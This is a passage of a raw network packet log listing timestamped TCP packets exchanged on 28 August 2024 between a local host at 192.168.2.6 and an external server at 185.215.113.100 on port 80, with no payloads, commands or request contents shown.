Aug 28, 2024 11:51:16.027313948 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027318954 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.027327061 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027335882 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027343035 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.027347088 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027357101 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027367115 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.027369022 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027379990 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027383089 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.027391911 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027400017 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.027430058 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.027578115 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027590036 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027594090 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027612925 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027626038 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027628899 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.027636051 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027648926 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027648926 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.027659893 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027677059 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.027704000 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.027787924 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027798891 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027808905 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027821064 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027829885 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.027839899 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027847052 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.027852058 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027863979 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027873039 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.027874947 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027885914 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027893066 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.027898073 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027920008 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.027936935 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.028054953 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.028069973 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.028079987 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.028093100 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.028094053 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.028103113 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.028119087 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.028143883 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.047827005 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.047842979 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.047853947 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.047895908 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.047916889 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.047926903 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.047926903 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.047938108 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.047949076 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.047955990 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.047960043 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.047986031 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.047998905 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.048022985 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.048032045 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.048041105 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.048054934 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.048063993 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.048065901 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.048072100 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.048078060 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.048101902 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.048113108 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.048830032 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.048878908 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.048971891 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.048983097 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.049012899 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.049029112 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.049053907 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.049066067 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.049077034 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.049088001 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.049096107 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.049098969 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.049110889 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.049139023 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.052799940 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.052858114 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.052864075 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.052875042 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.052892923 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.052915096 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.053065062 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.053076982 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.053088903 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.053102970 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.053102970 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.053123951 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.053153038 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.082720995 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.082735062 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.082751036 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.082763910 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.082807064 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.082817078 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.082829952 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.082839966 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.082842112 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.082851887 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.082859993 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.082866907 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.082879066 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.082905054 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.082958937 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.082971096 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.082983971 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.082994938 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.083002090 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.083007097 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.083014965 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.083020926 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.083034039 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.083054066 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.083062887 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.083069086 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.083084106 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.083103895 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.083103895 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.083127975 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.083138943 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.083141088 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.083153009 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.083167076 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.083168983 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.083183050 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.083199978 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.083218098 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.110528946 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.110548973 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.110560894 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.110585928 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.110601902 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.110626936 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.110639095 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.110649109 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.110662937 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.110671997 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.110693932 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.110722065 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.113863945 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.113883018 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.113893986 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.113910913 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.113919020 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.113923073 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.113934040 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.113939047 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.113945961 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.113959074 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.113966942 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.113970995 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.113980055 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.113981962 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114001036 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114001036 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114012957 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114022970 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114023924 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114034891 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114048958 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114052057 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114057064 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114063025 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114077091 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114088058 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114088058 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114100933 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114111900 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114113092 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114125013 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114125013 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114137888 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114149094 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114152908 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114160061 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114178896 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114178896 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114192009 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114193916 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114203930 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114214897 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114217043 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114226103 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114238024 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114242077 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114253044 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114264965 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114268064 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114276886 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114281893 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114288092 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114300966 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114310026 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114312887 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114324093 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114331961 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114336014 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114346981 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114355087 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114363909 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114376068 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114377022 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114386082 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114387035 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114418983 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114444017 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114514112 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114523888 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114533901 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114545107 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114552975 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114574909 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114576101 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114587069 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114597082 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114609003 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114614964 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114619970 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114631891 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114636898 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114650011 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114661932 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114662886 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114672899 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114675045 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114684105 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114694118 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.114705086 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.114732981 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.140831947 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.140853882 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.140862942 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.140888929 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.140906096 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.140989065 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.141001940 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.141011000 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.141025066 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.141032934 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.141040087 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.141052008 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.141056061 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.141067028 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.141081095 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.141105890 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.236490965 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.250109911 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490032911 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490051985 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490056992 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490173101 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.490181923 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490194082 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490202904 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490214109 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490231991 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.490255117 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.490422010 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490437984 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490447998 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490463972 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490468025 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.490474939 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490484953 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490494967 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490495920 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.490503073 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490514040 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490524054 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490531921 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490533113 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.490542889 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490552902 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490556002 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.490570068 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490576029 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.490586996 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490596056 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.490598917 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490608931 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490616083 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490617990 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.490628004 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490637064 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490650892 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.490673065 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.490947962 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490957022 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490962982 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490979910 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490989923 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.490997076 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.491010904 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.491041899 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.491067886 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.491076946 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.491111994 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.491116047 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.491125107 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.491161108 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.491312981 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.491328955 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.491341114 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.491357088 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.491364956 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.491375923 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.491384029 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.491384983 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.491394997 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.491400003 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.491421938 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.491421938 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.491436958 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.491446972 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.491446972 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.491455078 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.491462946 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.491493940 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.491906881 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.491955042 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.491980076 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.491988897 CEST	80	49710	185.215.113.100	192.168.2.6
